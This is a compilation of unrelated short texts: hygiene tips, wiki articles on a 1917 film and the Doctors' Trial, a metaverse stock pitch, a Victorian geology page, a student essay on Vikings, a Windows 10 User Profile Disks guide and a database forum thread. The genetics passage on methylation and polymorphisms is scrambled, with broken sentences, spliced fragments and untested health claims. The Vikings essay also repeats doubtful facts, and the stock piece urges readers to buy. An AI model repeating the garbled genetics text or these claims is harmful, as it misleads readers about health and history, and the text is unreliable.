If it’s not possible, disinfect your hands with hand sanitiser. Scrub your hands for at least 20 seconds. The same goes for hand sanitiser — rub it into your hands for at least 20 seconds to ensure full coverage.
Determine which side of the mask is the front and which is the top.
The front of the mask usually is coloured. The front should face away from you.
If it’s a medical mask, it’s very easy to determine which is the top. It usually has a bendable edge which you can adjust so it fits over your nose comfortably.
Hand sanitizer and face mask
Hold the mask by the loops or ties when putting on a mask.
Put a mask over your face and place a loop around each ear.
Or, place the ties of the mask over the crown of your head and tie them.
Make sure that the mask covers your nose, mouth and chin completely.
Make sure you can breathe comfortably through the mask.
If you need to adjust your mask while you are wearing it, wash or disinfect your hands before and after doing it.
Don’t touch your mask while it is being worn.
How to remove a face mask?
Disposable masks should be used once and disposed of.
If you have a reusable mask, you can wear it more than once. But you have to wash it before using it again. If you carry multiple reusable face masks, keep them in separate zip-lock bags. Pack a clean zip-lock bag for clean masks and another ziplock bag — for used face masks.
Wash or disinfect your hands before taking your (reusable) mask off.
Hold the mask by the bands or ties when taking it off.
Do not touch the mask itself.
Wash or disinfect your hands immediately after removing your mask.
Boy wearing a face mask in front of a computer
How to choose a face mask?
Best of all, go to a pharmacy and ask a pharmacist.
WHO recommends you to choose a face mask that has two or more layers of breathable fabric. Apart from that a mask must completely cover your nose, mouth and chin, and fit snugly. A mask should not have gaps.
Do not buy a mask which is made of fabric that makes it hard to breathe.
How to care for a face mask?
Wash reusable masks after each use.
You can wash it in the washing machine.
You can also hand wash your mask, using hot water and soap.
Allow your mask to dry completely.
Store each clean reusable mask in a clean zip-lock bag.
Disposable surgical masks (the blue ones) cannot be laundered, cleaned or disinfected. They must be thrown away after each use. Such surgical masks can be worn for 2-6 hours, depending on setting.
Washing hands with liquid soap
Hygiene tips
Here are some hygiene tips to help you stay safe.
• Avoid touching your eyes, nose and mouth.
• Wash your hands frequently.
• Use hand sanitiser or disinfecting wet wipes if hand-washing facilities are not available.
• Do not cough and sneeze into your hands.
• Cover your mouth and nose with your elbow or tissue when coughing or sneezing. Dispose of the tissue immediately.
• When possible, stay at least 2 m (~6 feet) away from other people.
• Disinfect high-touch surfaces at home.
• Wash unpackaged produce.
• Disinfect and clean the packaging such as cans, jars, bottles, etc. Wash your hands with soap and water immediately afterwards.
It is very important to find reliable sources of news and avoid misleading information.
For more information on COVID-19 and travel right now check out:
See also:
Safe travels! | ESSENTIALAI-STEM |
A Mormon Maid
A Mormon Maid is a 1917 American silent drama film directed by Robert Z. Leonard and written by Charles Sarver and Paul West. While traveling westward with her family, Dora must face the proposal to become a Mormon elder's sixth wife. The film stars Mae Murray, Frank Borzage, Hobart Bosworth, Edythe Chapman, Noah Beery, Sr., and Richard Henry Cummings. The film was released on April 22, 1917, by Paramount Pictures. The film survives complete.
Plot
Set in the 1840s during the Mormon migration westward, this film introduces a young woman named Dora and her family as they travel west. After being saved from an Indian attack by a Mormon community, the family joins their wagon train traveling to Utah. Throughout the film, Dora is pursued by two men, one a recent convert to the church and the other a scheming elder with multiple wives. Dora's mother ends up killing herself due to her revulsion towards polygamy, leaving Dora to consider her own future and the man she loves. The elder is a former apostle of the church and is determined to have Dora as his sixth wife. After refusing to marry him, Dora eventually ends up killing the old man as he tries to capture her for his own. To summarize, the plot of this film explores the implications of Dora's rejecting becoming a polygamist wife.
Cast
* Mae Murray as Dora
* Frank Borzage as Tom Rigdon
* Hobart Bosworth as John Hogue
* Edythe Chapman as Nancy Hogue
* Noah Beery, Sr. as Darius Burr
* Richard Henry Cummings as Lion of the Lord
Reception
Like many American films of the time, A Mormon Maid was subject to cuts by city and state film censorship boards. The Chicago Board of Censors cut two intertitles, "I am not a –" and "You have scoffed at our faith – now you will pay." Many towns received this film with open arms, misunderstanding the film as an exposé on Mormonism and the religion's practices. One newspaper even went so far as to link the film to the K. K. K. | WIKI |
2 Metaverse Stocks That Could Help Make You a Fortune
The tech world is betting big on the metaverse -- a concept that hopes to enable virtual avatars of real people to interact in 3D virtual worlds irrespective of their physical location.
The metaverse is still in its infancy, but it reportedly already attracted $57 billion worth of investments from tech giants, venture capitalists, and private equity companies in 2021 alone, according to McKinsey & Co. That same report says investments in the metaverse will double to $120 billion this year. It won't be surprising to see this number head higher with each passing year, as the metaverse is expected to generate $5 trillion in revenue by 2030 as it more deeply impacts multiple sectors of the economy, including e-commerce, online learning, advertising, and gaming.
These massive investments will also likely unlock a tremendous long-term opportunity for investors buying into companies powering the metaverse. Advanced Micro Devices (NASDAQ: AMD) and Roblox (NYSE: RBLX) are two such companies that could play a big role in the development of the metaverse and help investors make a fortune. Let's see why these two metaverse stocks could make shareholders a fortune.
1. Advanced Micro Devices
AMD's data center business has taken off big-time. In the second quarter, the segment's revenue shot up 83% year over year to $1.5 billion as major cloud computing and enterprise customers chose its EPYC server processors to power their cloud services. What's more, AMD's data center graphics cards also powered the world's fastest and most energy-efficient supercomputer (the Frontier supercomputer housed in the Oak Ridge National Laboratory in Tennessee).
The metaverse could help AMD maintain the impressive growth of its data center business. That's because the cloud computing market should get a big shot in the arm as the metaverse comes to require more powerful data processing, creating the need for more server processors and graphics cards. The good part is that AMD already has a foot in the door, as Meta Platforms (NASDAQ: META) has chosen AMD's processors to power what it calls the world's largest artificial intelligence (AI) supercomputer, which Meta says it will use to form the building blocks for its portion of the metaverse.
Additionally, AMD's acquisition of Xilinx, completed earlier this year, should strengthen the former's ability to take advantage of the metaverse. That's because Meta Platforms will use Xilinx's chips to develop a platform for open radio-access networks (RANs), which it wants to use t form the backbone of the metaverse. This could give AMD access to another big opportunity, as the open RAN market is forecast to grow at an annual pace of 42% through 2030.
While AMD's data center business works to clock robust long-term growth through cloud service providers and enterprise customers ramping up spending on infrastructure upgrades, gaming in the metaverse will also be ramping up its infrastructure. Metaverse gaming is projected to generate as much as $125 billion in revenue by 2030. That could trigger the adoption of more gaming consoles and computers in the long run.
AMD is a key supplier of chips for gaming consoles from the likes of Microsoft and Sony, and the demand for its PC (personal computer) processors is robust as well. In all, AMD is well placed to take advantage of the metaverse opportunity in multiple ways, so it won't be surprising to see this tech stock soar higher once this emerging trend gains critical mass.
2. Roblox
While AMD could help investors benefit from the hardware side of the metaverse, Roblox is a play on the software side of this nascent technology.
That's because Roblox helps developers create 3D virtual worlds wherein users will interact in the metaverse. The company's offerings not only allow users to explore 3D digital worlds but also enable the creation of online learning experiences. Roblox customers can also use its cloud platform to build customized virtual experiences and services.
Not surprisingly, Roblox has already started attracting major names looking to establish a presence in the metaverse. The company is also putting solid numbers on the board, with its second-quarter revenue increasing 30% year over year to $591 million. More importantly, Roblox's average daily active users (DAUs) increased 21% year over year to 52.2 million last quarter. The number of hours engaged was up 16% over the prior-year period to 11.3 billion.
What's more, Roblox is witnessing an improvement in user engagement, as its July 2022 metrics show. DAUs in July were up 26% year over year to 58.5 million, while hours engaged increased 25% to an all-time monthly high of 4.74 billion. It is also worth noting that Roblox's bookings increased 9% year over year in July 2022 to $245 million at the midpoint of its guidance range. That's a nice improvement over its Q2 performance, when bookings were down 4% year over year to $640 million.
The improvement in Roblox's bookings bodes well for the company's future. Bookings refer to the amount of virtual currency purchased by Roblox users to spend on its platform, and they are recognized as revenue once users spend the virtual currency in one of its 3D worlds. Roblox has been witnessing a slowdown in this metric in recent quarters on account of lower user spending and tough year-over-year comparisons, but the July performance indicates that things are now looking up.
That's why investors looking to add a potential metaverse winner to their portfolios may want to buy Roblox right now before it flies higher. The stock is down 60% so far in 2022, but it has shot up more than 24% in the past three months. Investors can still buy Roblox at 11 times sales as compared to its 2021 sales multiple of 36, and they may not want to miss this opportunity given the company's solid growth and bright prospects.
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Doctors' Trial
The Doctors' Trial (officially United States of America v. Karl Brandt, et al.) was the first of 12 trials for war crimes of high-ranking German officials and industrialists that the United States authorities held in their occupation zone in Nuremberg, Germany, after the end of World War II. These trials were held before US military courts, not before the International Military Tribunal, but took place in the same rooms at the Palace of Justice. The trials are collectively known as the "subsequent Nuremberg trials", formally the "Trials of War Criminals before the Nuremberg Military Tribunals" (NMT).
Twenty of the 23 defendants were medical doctors and were accused of having been involved in Nazi human experimentation and mass murder under the guise of euthanasia. The indictment was filed on 25 October 1946; the trial lasted from 9 December that year until 20 August 1947. Of the 23 defendants, seven were acquitted and seven received death sentences; the remainder received prison sentences ranging from 10 years to life imprisonment.
Background
Twenty of the 23 defendants were medical doctors (Viktor Brack, Rudolf Brandt, and Wolfram Sievers were Nazi officials), and were accused of having been involved in Nazi human experimentation and mass murder under the guise of euthanasia. Philip Bouhler, Ernst-Robert Grawitz, Leonardo Conti, and Enno Lolling died by suicide, while Josef Mengele, one of the leading Nazi doctors, had evaded capture.
The judges, heard before Military Tribunal I, were Walter B. Beals (presiding judge) from Washington, Harold L. Sebring from Florida, and Johnson T. Crawford from Oklahoma, with Victor C. Swearingen, a former special assistant to the Attorney General of the United States, as an alternate judge. The Chief of Counsel for the Prosecution was Telford Taylor and the chief prosecutor was James M. McHaney. In his opening statement, Taylor summarized the crimes of the defendants. "'The defendants in this case are charged with murders, tortures, and other atrocities committed in the name of medical science. The victims of these crimes are numbered in the hundreds of thousands. A handful only are still alive; a few of the survivors will appear in this courtroom. But most of these miserable victims were slaughtered outright or died in the course of the tortures to which they were subjected. For the most part they are nameless dead. To their murderers, these wretched people were not individuals at all. They came in wholesale lots and were treated worse than animals.'"
Indictment
The accused faced four charges, including:
* 1) Conspiracy to commit war crimes and crimes against humanity as described in counts 2 and 3;
* 2) War crimes: performing medical experiments, without the subjects' consent, on prisoners of war and civilians of occupied countries, in the course of which experiments the defendants committed murders, brutalities, cruelties, tortures, atrocities, and other inhuman acts. Also planning and performing the mass murder of prisoners of war and civilians of occupied countries, stigmatized as aged, insane, incurably ill, deformed, and so on, by gas, lethal injections, and diverse other means in nursing homes, hospitals, and asylums during the Euthanasia Program and participating in the mass murder of concentration camp inmates.
* 3) Crimes against humanity: committing crimes described under count 2 also on German nationals.
* 4) Membership in a criminal organization, the SS.
The tribunal largely dropped count 1, stating that the charge was beyond its jurisdiction.
I — Indicted G — Indicted and found guilty
All of the criminals sentenced to death were hanged on 2 June 1948 at Landsberg Prison.
For some, the difference between receiving a prison term and the death sentence was membership in the SS, "an organization declared criminal by the judgement of the International Military Tribunal". However, some SS medical personnel received prison sentences. The degree of personal involvement and/or presiding over groups involved was a factor in others. | WIKI |
Page:Quarterly Journal of the Geological Society of London, vol. 27.djvu/199
feet. inches.
Thin line of sand, with pyrites 0 1
Thin band of blue clay 0 4
Hard sandy clay, with thin lines of stiff clay 10 0 Ditto, with more clay 5 0
Stiff clay 5 0
Very stiff clay, with large Oysters 18 0 Zone of Ostrea gigantica.
Claystone 0 2
Very stiff clay 29 0
Layer of pyrites 0 1
Stiff clay 12 8
Claystone 0 2
Clay 2 0
Claystone 0 2
Very stiff clay 10 10
Clay, full of rounded black flint pebbles 0 9
Hard sand 22 3
Blue clay (to bottom of boring) 39 0
Discussion.
Prof. Ramsay called attention to the value attaching to such observations as those of the author on the nature of the superficial deposits as distinct from the older rocks on which they repose.
Mr. Etheridge observed that the presence of the Lingula determined the position of the Bognor beds in the series, though there appeared great difficulty in fixing it stratigraphically. The commingling of species exhibited in this instance, of shells hitherto supposed to be peculiar to certain horizons, he regarded as very remarkable.
Prof. Morris observed that the section seemed to show, not only the order of the beds, but their manner of deposition, the whole having formed part of a tranquil sea-bottom. He remarked on the difficulty of separating the more recent mud deposits from the beds of more ancient date. He pointed out the method of formation of septaria apparently by segregation, as -they sometimes included undisturbed parts of the beds. The number of bivalves bored by carnivorous mollusks was remarkable, as was also the absence of Pectunculus.
Mr. Gwyn Jeffreys observed on the habits of Lingula, which had been by some regarded as an annelid, and not as a mollusk. It afforded a curious instance of the persistence of species, as there was no distinction that could be established between those of the Crag and of Silurian times. It lived at the present time between high- and low- water mark, and the Panopoea at a slightly lower level, and probably had done so in Tertiary times.
Mr. Evans inquired whether the upper gravel, like that on the shore of Southampton Water, contained any flint implements.
Mr. Meyer replied that he had not examined the gravels with that view. | WIKI |
In the year AD 789, the Viking Era began. They came across the sea from the region now called Scandinavia. Hundreds of years later, there were many Vikings living in all corners of Europe because their homelands couldn’t support their growing population. The Vikings for a long time had a bad reputation. People feared the Vikings, describing them as vicious vandals and barbaric raiders. That is what the Vikings are mostly remembered for today. Aside from all the raiding and looting of towns the Vikings did, in their homelands, they had a certain level of civilisation in their culture.
The name ‘Viking’ translates to ‘pirate’ in Norse; a language spoken by the Vikings. The Vikings were very fierce and brutal fighters. 4 years after the Vikings settled in England/Europe, they violently raided the monks of Lindisfarne. The war party struck quickly and unexpectedly. The monks at first thought they would be safe, living in a monastery and sacred place, but they were wrong. The people of Lindisfarne were defenseless, making it easier for the Vikings to steal treasures, burn down buildings and murder monks.
The Vikings were violent and heartless towards others. They would torture their victims and did not hesitate to kill anyone… including innocent babies. After raiding the monastery, the Vikings longships would sail home loaded with goods and captives. The Vikings would raid and loot through towns as they travelled. Their swords and axes caused terror and fear wherever they went. They had many cruel and disturbing ways to kill people. One of the most popular ways they used is called a butterfly cut, which ended up with the victim’s lungs hanging out.
They would also drown people in the sea until they died. Some Vikings called ‘The berserkers’ were worked up with drugs before and in battles which made them wild and somehow, pain free. Despite the Vikings status as raiders, not all Vikings voyages were violent. Although they might loot and destroy one town, they would go to another in peace and trade goods. While some of the popular belief of Vikings being nothing but ruthless fights are correct, contrary to belief, the Vikings culture and way of life is less barbaric than most may think.
In addition, Vikings were very skilled craftspeople. They were expert sailors and shipbuilders. Their longship sailed all the way to the Mediterranean Sea. The Vikings built many types of boats like small rowing boats, trading and transport ships and of course the mighty longship used for raids. The Vikings were excellent navigators, and with their longship, could travel far distances. Furthermore, the Vikings had a very structured and stable society. They had equal rights, their own religion and language which are all signs of a civilised culture.
The Vikings honored the dead and evidence from a number of primary sources reveal that the Vikings would bury the dead in mass graves, in deep pits, in wagons and boats. Cremation was another common burial practice for Pagan Vikings. The Viking’s society was divided into 3 groups. The Jarls who were the privileged, rich and powerful ones, the Karls who were the middle class made up the majority of the Viking society. They were the craftspeople, farmers and merchants. On the bottom of the Viking society were the Thralls.
Most of them were slaves and did the heavy work. The Vikings would have festivals with music, storytelling and games In conclusion, saying the Vikings were nothing but ruthless, bloodthirsty savage beasts would be unfair. Yes, they did attack and kill many innocent people but that does not mean their society was uncivilised. The Vikings were the master of the seas and were skilled at many things. They had a structured society and had their own beliefs. In saying that, the Vikings were far less barbaric than most think.
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File talk:Waad Hirmez, 1991-92 Trading Card, Pacific Trading Cards.jpg
* The following discussion is an archived debate of the proposed deletion of a fair use image as a replaceable image. Please do not modify it.
The result was to delete the image. Living person
The following concern was raised regarding the use of the trading card: "I noticed that this file is being used under a claim of fair use. However, I think that the way it is being used fails the first non-free content criterion. This criterion states that files used under claims of fair use may have no free equivalent; in other words, if the file could be adequately covered by a freely-licensed file or by text alone, then it may not be used on Wikipedia."
There are no "free" equivalents available of this professional athlete and its now impossible to obtain an image because the athlete has retired. While the text in the article is adequate to cover the fact that the athlete played soccer, any text describing the athletes facial features and physique would be inadequate. Only an image of the athlete playing soccer and in uniform can adequately suffice. Moreover, the use of low resolution images of playing cards is generally regarded as allowed within the card trading, valuation and sales channels as fair use.
Additional text has been added to the article setting forth the fact that trading cards of Waad Hirmez were produced from 1987 through 1992, thereby rendering the use of the image of a playing card nominative. — Preceding unsigned comment added by TemeculaMike (talk • contribs) 00:01, 5 February 2015 (UTC)
* The above discussion is preserved as an archive of the debate. Please do not modify it. | WIKI |
degasify
Verb
* 1) To remove gas from.
* 2) To liquefy; to change (a gas) (back) to liquid form.
* 1) To liquefy; to change (a gas) (back) to liquid form.
* 1) To liquefy; to change (a gas) (back) to liquid form. | WIKI |
Mutations and polymorphisms
Received Oct 2; Accepted Jul 6. This article has been cited by other articles in PMC. Abstract Background The growing advances in DNA sequencing tools have made analyzing the human genome cheaper and faster.
Mutations and polymorphisms
Resources CBS CBS cystathionine beta synthase catalyzes the first step of the transsulfuration pathway, from homocysteine to cystathionine.
This means the enzyme works too fast. This leads to high levels of taurine and ammonia. The CBS upregulation has been clinically observed to result in sulfur intolerance in some patients. BH4 helps regulate neurotransmitters and mood.
While some physicians think the CBS mutation is one of the most important mutations to address, there is very little medical research to support these claims and some doctors in the field disagree.
In normal populations, studies have shown CBS upregulations to be protective against high homocysteine. Medical research has not determined if CBS upregulations are harmful in those with syndromes or disorders leading to impaired methylation.
This reaction helps generate BH4. BH4 is important for the Mutations and polymorphisms of ammonia. BH4 acts as a rate limiting factor for the production of neurotransmitters and catecholamines including serotonin, melatonin, dopamine, norepinephrine, and epinephrine. BH4 is also a cofactor in the production of nitric oxide.
Mercury, lead, and aluminum may act as a drain on BH4. These include dopamine, epinephrine, and norepinephrine. Catechol-O-methyltransferase is important to the areas of the pre-frontal cortex.
This area of the brain is involved with personality, inhibition of behaviors, short-term memory, planning, abstract thinking, and emotion. COMT is also involved with metabolizing estrogens.
This can lead to irritability, hyperactivity, or abnormal behavior.
IARC TP53 Database: knowledgebase and statistical tools for the analysis of TP53 gene mutations in human cancers. A *mutation* is a physical event in a single individual/cell. A polymorphism is a population attribute. Unless they are lethal or somatic*, mutations can give rise to polymorphism following. Synonymous mutations change the sequence of a gene without directly altering the sequence of the encoded protein. Here, we present evidence that these “silent” mutations frequently contribute to human cancer.
They may also be more sensitive to pain. Low or low normal vitamin D values are often seen in those with chronic illness and even the general population. Low vitamin D is related to a lot of neurological and immunological conditions.
Mutations and polymorphisms
Vitamin D stimulates enzymes that create dopamine. However, this is not always the case. Some have pointed out that VDR Taq is reported backwards since majority of medical journals report a different risk allele or use different notation.
These arguments are well-founded, but Genetic Genie reports this way so results are compatible with existing methylation nutrigenomics literature. Many claims about VDR and methylation are clinical observations. There are no medical studies to support some of the observations. Males only have one allele since the gene is inherited through from their mother since it is located on the X chromosome.
Genetic Genie reports the wild type as the defective variant as doctors have clinically observed that patients with methylation problems especially those of Autism often have trouble breaking down neurotransmitters. The significance of this SNP should be interpreted with caution. It can also deplete B MTR 5-methyltetrahydrofolate-homocysteine methyltransferase provides instructions for making the enzyme methionine synthase.BackgroundApproximately 75% of objective responses to anti–programmed death 1 (PD-1) therapy in patients with melanoma are durable, lasting for years, but delayed relapses have been noted long.
A mutation is a permanent change in the DNA sequence. They are usually rare and often occur during replication. They also range in size from single base pair mutations to mutations . General mutations and polymorphisms Allele Frequency Net -- Allele Frequencies in Worldwide Populations database Find information about allele frequencies from different polymorphic areas in .
IARC TP53 Database: knowledgebase and statistical tools for the analysis of TP53 gene mutations in human cancers. The eukaryotic cell cycle comprises a sequence of events that culminate in cell division. Proteins at different checkpoints throughout the cell cycle regulate progression from one phase to the next—a process that usually works without errors.
When errors do occur, they can have catastrophic. The methylenetetrahydrofolate reductase (MTHFR) mutation test is used to detect two relatively common mutations in the MTHFR gene that are associated with elevated levels of homocysteine in the ashio-midori.com is not routinely ordered.
This test is sometimes ordered as a follow-up to an elevated homocysteine test and may be occasionally ordered along .
All Mutations | Genetic Genie | ESSENTIALAI-STEM |
User Profile Disks (UPD) is a Microsoft technology best known for its use on Windows RDSH (Remote Desktop Session Host) Servers. It provides a lightweight method for user setting persistence. It works by mounting the user's profile area (%USERPROFILE%) to a .VHDX (Hyper-V virtual hard disk) file on a network share and essentially redirecting all profile write actions to this mounted disk.
Contents of this article
However, a recent post from Eirik Haavarstein indicated that it was possible to use UPD on Citrix XenApp systems. Doing so provides not just user profile persistence, but also a solution to handling certain file types. These include Outlook OST files, Windows Search and other caches that traditionally perform badly in RDSH or VDI (virtual desktop infrastructure) environments. The article also mentions briefly that they also performed testing on Windows client systems. So what I set out to investigate was – just how easy, and how feasible, is it to use UPD on Windows 10?
Firstly, does Microsoft even support UPD on Windows client systems?
The official answer is yes – for VDI only. There's no detail as to what flavor of VDI this referenced, so I assume it means VDI of any type. However, as with the UPD feature on RDSH, you may find documentation and support to be a bit, shall we say, lacking. It's clear that Microsoft doesn't seem particularly interested in UPD as a key feature, which is a shame. In certain situations, it can provide an easy way of providing a persistence solution that gets around some of the major drawbacks of a traditional roaming profile.
So, assuming we are using Windows 10 VDI (or maybe you're running Windows 10 physically and just want to see if it might provide an easy but unsupported solution), how do we go about setting this up?
Setup ^
First, you need a file share to hold the profiles you will be mounting. Dependent on user volume, you may want this to be quite sizeable, because UPD captures the entire user profile, and on Windows 10, profiles have gotten rather large. It would also make sense to use fast storage for this where possible.
UPD isn't as sensitive as roaming profiles are to transient network conditions. This is mainly because it is only writing to a single file, and large amounts of files are just as bad for profile performance as sheer size. However, for something that is going to be central to the entire user experience, I would definitely recommend using fast storage. In addition, ensure that you fully patch your file server before using UPD.
You need to set both NTFS and share permissions so that all devices accessing it have full control. Attaching and detaching the VHDX file occurs in the context of the computer account, so either individually add the accounts for your client machines or use the Domain Computers group.
Filesystem permissions
Filesystem permissions
Share permissions
Share permissions
Next, inside the file share, create a folder for each operating system for which you will be using UPD. You'll need to subdivide them by profile version number, so Windows 10 RTM and 1511 can share a folder, but Windows 10 1607 will need a separate one. In this case, we have simply created three folders, one each for Windows 10 1511 (and RTM) and Windows 10 1607, and a separate one for Windows Server 2016.
Folder structure
Folder structure
After this, we need to create a template VHDX file for our systems using PowerShell. It doesn't matter which operating system you create the template VHDX from, but I used Windows 10 1607 just to err on the side of caution. Open up an administrative PowerShell session and run the following command (changed to fit your file share and path):
You can change the last value (1) – this is for the size of the template profile in GB. You may want to make it a little higher than 1 GB if you anticipate any bloat in profiles. For a production environment, 5 GB may be a better size to start with, assuming you have the space available.
You should now see a template VHDX file created in the share you specified.
Template file
Template file
You now need to copy this file to each of the OS-specific subfolders you created.
Copied template
Copied template
We now need to enable UPD on our Windows 10 clients. To do this, open up an administrative PowerShell session again and run the following command (changed to fit your profile share and path). If you have multiple OS version folders, you will need to point each client to the correct folder path for its operating system. For instance, this is what we would run on Windows 10 1607 machines:
And this is what we would use on Windows 10 1511 machines
After running this, you should see the following output:
PowerShell output
PowerShell output
This command creates a set of registry values in the key:
HKLM\System\CurrentControlSet\Control\Terminal Server\ClusterSettings
User Profile Disks Registry values
User Profile Disks Registry values
The UvhdEnabled value indicates whether UPD is enabled on the endpoint or not.
The UvhdShareUrl tells it where to store the UPD profiles for each user.
The UvhdRoamingPolicyFile value tells it where to look for a configuration XML file. This should always be set to the default (C:\Windows\RemotePackages\RDFarm\UvhdRoamingPolicy.xml) and should always have the following content:
XML file content
XML file content
Now you're probably thinking that this would be easy enough to enforce with Group Policy. Indeed, it would. A Group Policy startup script (filtered by devices) that runs the initial get-wmi command would suffice to activate UPD on target machines automatically. Bear in mind that the different OS versions need a different path in the command, so you'd probably have to use a WMI filter on the Group Policy Object (GPO) to ensure each OS points to the right path. The same applies to the registry values, which you could enforce with Group Policy preferences within the same GPO.
If you need a WMI filter to differentiate between different Windows 10 versions, use these:
Windows 10 1551 WMI filter
Windows 10 1551 WMI filter
Windows 10 1607 WMI filter
Windows 10 1607 WMI filter
And now we're completely set up; we just need to test.
Testing ^
When you log on, you should see a VHDX file created in the subfolder for the target operating system as below. There is one for each user, named by security identifier (SID).
User Profile Disks
User Profile Disks
Users logging on via UPD should not have roaming profiles or mandatory profile paths set on the Active Directory (AD) object, or there may be problems. If a local or roaming profile already exists on the endpoint, UPD will rename this profile to a "backup" folder.
The user's profile folder will simply appear to be a mounted VHD rather than a traditional filesystem folder, but applications and data will write to this seamlessly.
Mounted VHDX
Mounted VHDX
Each user can only have one UPD session at a time. The reason for this is that the session locks the VHDX file exclusively, as you can see.
Locked files
Locked files
You also cannot apply UPD specifically to subsets of users. It is a device-level setting, so an administrator logging on to the endpoint will also create a UPD profile.
Logon time seems to vary; the first logon can be around one to two minutes, while subsequent logons might vary from about forty seconds up to a minute. I tested this in a small lab using spinning disks though, so you should expect better performance in enterprise situations.
Occasionally, the file lock will not release cleanly when the user logs out, and this will fail to remove the junction point for the user's folder in C:\Users. You can rectify this by closing the open handle on the file server or by simply restarting the client endpoint that has the VHDX file locked. Do not, if possible, perform a hard reset on any devices that have open file locks; this can cause the profile to become corrupted. To prevent this lock issue from occurring, it may be useful in VDI environments to set the devices to restart whenever a user logs out or disconnects (see this thread for a discussion of doing this on Citrix XenDesktop).
An administrator wishing to edit the profile of a user not currently logged in can mount the VHDX file and edit it directly. However, remember to unmount the file after completing the editing.
Summary ^
You can use UPD on Windows 10 using the technique described above. It provides a quick and low-overhead method of setting up user persistence without any extra expenditure. In addition, it roams the entire user profile, overcoming some of the limitations of a traditional roaming profile. It also deals with the performance issues of things like Outlook OST files in a VDI or RDSH environment.
UPD does require a lot of storage overhead and is limited to single sessions. Moreover, the occasional file lock means you may have to put in some mitigations against this. What's more, the habit of storing the VHDX file with the SID means that in high-volume environments, it is sometimes tricky to work out which UPD belongs to which user.
It is also worth mentioning that FSLogix has taken the UPD concept and improved it with their Profile Containers product. Profile Containers works in much the same way, but has added support for older client operating systems like Windows 7 and 8, removed the file locking issues, improved the logon times, appended user names to the VHDX file names, and also has much more readily available support than Microsoft with regard to the product. Admittedly, this comes at a (fairly low) license cost, but there is more in the FSLogix suite than just the Profile Containers part. If you're going to use a technology like UPD in a busy production environment, then the price for FSLogix is in my opinion worth paying.
Credits
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Thanks to Claudio Rodrigues and Eirik Haavarstein for originally bringing this technique to my attention, and to Toby Phipps for providing Claudio with the commands to enable UPD in this fashion.
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33 Comments
1. marc 3 years ago
You have to make sure the RDS host server has rights to the UPD folder as well.
+1
2. Rajendra 2 years ago
Hello,
Can some one help me out from below scenario.
Current Operating System-Windows 2012r2
Roles enabled in server are-WSUS,RDWEB,IIS
Planning Operating System-Windows 2016 DC
Machine hosted in vmware
Upgrade status-Rolling back to previous version i.e Windows 2012r2
Error after upgrade screen-the installation failed in the safe_os phase with an error during migrate_data operation
Issue Description-I can see Windows 2016 Installation complete status and after restart getting above error and rolling back to previous version.
Things I did before upgrade-
Cleaned WSUS roles and dependencies
Make sure enough space on C Drive
I had done many os upgrades with above featured servers but this is the first scenario ever seen
Points Noted-I can see one user profile disk in current server,does it would be the blocker if it is the blocker please help me out how to get rid off this from else suggest with other solutions to overcome this issue.
Thanks in Advance,
Raj
0
3. Greetings, when running the command I get the error:
(gwmi -ns root\cimv2\terminalservices -class win32_tssessiondirectory).enableuservhd("\\SERVER\SHARE\Profiles\Win10-1607","<UvhdRoamingPolicy><RoamingMode>0</RoamingMode></UvhdRoamingPolicy>")
gwmi :
At line:1 char:2
+ (gwmi -ns root\cimv2\terminalservices -class win32_tssessiondirectory ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-WmiObject], FileNotFoundException
+ FullyQualifiedErrorId : System.IO.FileNotFoundException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
(share name is substituted with share I am using in my environment, NTFS and share rights are defined as requestet in article earlier, powershell is ran with administrator privileges)
Thank you and best regards
0
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Jillian Camarena-Williams
Jillian Mary "Jill" Camarena-Williams (born March 2, 1982) is an American retired track and field athlete who competes in the shot put. She competed at the 2012 and 2008 Beijing Olympics and has represented the United States both indoor and outdoors at World Championship-level.
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Born in Woodland, California, she is listed at 5 foot 10 inches tall and 250 lbs. She did her undergraduate work at Stanford University and graduate studies at Brigham Young University. She is a Latter-day Saint. Camarena-Williams married her physiotherapist, Dustin Williams, in 2010. On July 29, 2016 - Camarena-Williams announced the four city team challenge at Track Town, USA in Eugene, Oregon on ESPN was her final competition.
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Talk:Sand art
Untitled
Does anyone know about jarred sand art? (Where different colored sands are poured into jars to create different patterns.) <IP_ADDRESS> 07:41, 7 August 2007 (UTC) | WIKI |
Hello,
The server can be started with a request for a "console log" with a max size. Once that size is met a new file is created for more recent entries and this would allow us to periodically delete older log files. Is there a similar method so that a max size can be set for the error log? If not, how do we ever clean it up so that it doesn't keep growing? Of course, one would hope that there wouldn't be too many entries placed in here, but "you never know!" If the error log is always "open for writes" then we probably can't just delete it. How can we know when we can delete an error log in an HA system that is "always running"?
Thank you.
asked 09 Apr, 10:27
AlK's gravatar image
AlK
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Are you relating to the dbsrvX -oe <errorlog.txt> option?
FWIW, I don't know a method to rename that on a running database engine. (Although I would argue that its contents should not grow endlessly, and even in a HA system, you usually would restart the engine now and then - hopefully allowing the application to continue to work on the partner...)
For ordinary console logs, note that you can rename these (besides via -on/-os) with the help of the sa_server_option system procedure and its options "ConsoleLogFile" resp. "ConsoleLogMaxSize".
(10 Apr, 02:55) Volker Barth
Replies hidden
1
AFAIK dbsrv -oe is for startup errors only, when the server can't reach the point of opening the dbsrv -o file, so it is [cough] unlikely to grow very large.
FWIW -oe is very handy when dbspawn fails because (for example) there's a problem with licensing that prevents startup.
(10 Apr, 08:11) Breck Carter
1
If you post your dbsrv command line, you may receive useful comments and suggestions.
If you are running dbsrv as a service, the dbsvc.exe utility is HIGHLY RECOMMENDED since you can refer to environment %variables% and have the values substituted before the service is created.
(10 Apr, 08:16) Breck Carter
Replies hidden
Yes, I'm using -oe. Thanks for the hint about sa_server_option!
(14 Apr, 14:07) AlK
Thanks Breck. I guess the solution is to just clean it up when the servers are being restarted.
(14 Apr, 14:08) AlK
Hi Breck. Thanks for the hint about dbsvc.exe but is that related somehow to the Error Log or is this just a good practice you wanted to tell me about?
(14 Apr, 14:10) AlK
1
I guess the idea is to use an environment variable to specify the name of the -oe error log. That way you could specify a different file name each time the service is started.
(14 Apr, 18:13) Volker Barth
Thanks to Breck & Volker for the various hints. It sounds like we have to wait until a server reset to be able to delete this file. We can "close" this submission.
(15 Apr, 19:03) AlK
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Talk:Alsace/Archive 1
General advice
Wondering how to edit this région entry? The WikiProject French régions standards might help. —The preceding unsigned comment was added by ShadowDragon (talk • contribs).
Identity
